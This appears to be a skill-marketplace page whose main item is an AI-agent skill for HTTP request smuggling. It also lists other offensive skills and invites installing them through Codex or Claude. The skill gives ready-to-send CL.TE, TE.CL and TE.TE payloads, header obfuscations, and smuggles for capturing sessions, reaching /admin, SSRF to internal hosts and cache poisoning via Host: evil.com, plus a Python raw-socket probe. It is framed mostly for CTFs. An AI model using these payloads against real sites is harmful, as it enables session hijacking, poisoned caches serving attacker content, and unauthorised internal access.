菜单
HTTP Request Smuggling (HRS) / Desync attack detection and exploitation. Covers CL.TE, TE.CL, TE.TE detection, payload crafting, and chaining with SSRF/cache poisoning. Use when front-end/back-end architecture is suspected or when HTTP parsing discrepancies exist.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Automated tool-assisted strategies for blind injection attacks (SQL, NoSQL, command, XPath). Covers when and how to use sqlmap, custom scripting, and binary search optimization to minimize token consumption and execution time. Use when manual blind injection would require >20 sequential requests.
Race condition vulnerability detection and exploitation. Covers time-of-check to time-of-use (TOCTOU), limit bypass, coupon abuse, and multi-endpoint race chains. Use when state-dependent logic (credits, inventory, votes, transfers) exists or CTF challenge involves concurrent operations.
Canonical Nmap CLI syntax, strict staged scanning workflow, and sandbox-safe bounded scan patterns with timeout backoff.
Exact Nuclei command structure, template selection, staged scanning workflow, and bounded high-throughput execution controls with timeout backoff.
Common CTF exploitation patterns, quick wins, and time-saving tricks for web, crypto, pwn, and misc challenges. Use when you are stuck on a CTF challenge or want to rapidly test known patterns.
Linux and Windows privilege escalation techniques, enumeration scripts, and common misconfigurations. Use when you have obtained a low-privilege shell and need to escalate to root or SYSTEM.
| name | http-request-smuggling |
| description | HTTP Request Smuggling (HRS) / Desync attack detection and exploitation. Covers CL.TE, TE.CL, TE.TE detection, payload crafting, and chaining with SSRF/cache poisoning. Use when front-end/back-end architecture is suspected or when HTTP parsing discrepancies exist. |
| metadata | {"hermes":{"category":"web-security","tags":["http","desync","smuggling","cache-poisoning","ssrf","ctf"]}} |
| platforms | ["linux","macos","windows"] |
Activate this skill when:
HTTP Request Smuggling exploits disagreements between front-end (proxy/WAF) and back-end (app server) about where one request ends and the next begins.
| Variant | Front-end sees | Back-end sees | Trigger condition |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Front-end uses CL; back-end uses TE |
| TE.CL | Transfer-Encoding | Content-Length | Front-end uses TE; back-end uses CL |
| TE.TE | Transfer-Encoding | Transfer-Encoding | Both use TE, but parse differently (obfuscated TE header) |
CL.TE Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
TE.CL Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
TE.TE Detection (obfuscated header):
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
Valid obfuscations for TE.TE:
Transfer-Encoding: chunke\xd (byte-smuggling)Transfer-Encoding: chunked\x00 (null-prefix)Transfer-Encoding: chunked (leading space)Transfer-Encoding:\tchunked (tab instead of space)Transfer-Encoding: Chunked (case variation, depends on server)Identify if a reverse proxy / CDN exists:
Via, X-Cache, X-Forwarded-For, CF-RAY, Fastly-DebugTRACE or OPTIONS responses reveal proxy chainSend the detection payloads above. A time-delay or differential response indicates desync:
Once a delay is observed, confirm by "poisoning" the back-end connection:
Smuggle a request that captures the next user's session cookie:
POST / HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Ignore: X
The back-end sees the smuggled GET /admin followed by the next legitimate request, potentially associating the admin response with the victim's session.
POST /api/forward HTTP/1.1
Host: target.com
Content-Length: 60
Transfer-Encoding: chunked
0
GET http://127.0.0.1:8080/internal/flag HTTP/1.1
X-Foo: x
Smuggle a request that causes the back-end to cache a malicious response:
POST / HTTP/1.1
Host: target.com
Content-Length: 80
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: evil.com
X-Foo: X
If the cache keys on the URL but the back-end uses the Host header from the smuggled request, subsequent users may load content from evil.com.
/admin, /flag, /internal behind the proxyIn HTTP/2→HTTP/1.1 downgrade scenarios:
:authority, :path) become HTTP/1.1 headerscontent-length or transfer-encoding via HTTP/2 header injectionh2c-smuggler or manually craft HTTP/2 frames| Front-end | Back-end | Likely Variant | Test Priority |
|---|---|---|---|
| Nginx | Apache/PHP | CL.TE | 1 |
| Nginx | Gunicorn | TE.CL | 2 |
| Cloudflare | Any | TE.TE (obfuscation) | 3 |
| AWS ALB | Any | H2.CL | 4 |
python_exec with requests — Write custom desync probes; CTFs rarely have httpx-smuggler pre-installedsmuggler (if available): python smuggler.py -u http://targethttp-request-smuggler (Burp extension) — not available in CLI, use Python scripts insteadimport socket, ssl
def desync_probe(host, port, payload, use_ssl=False):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if use_ssl:
sock = ssl.wrap_socket(sock)
sock.connect((host, port))
sock.send(payload.encode())
# Read both responses
data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
return data.decode(errors="ignore")
Connection: keep-alive and no premature socket closure.\r\n. 0\r\n\r\n terminates the body. A single \n instead of \r\n will fail silently.Transfer-Encoding headers. If detection fails, try header obfuscation (see TE.TE section).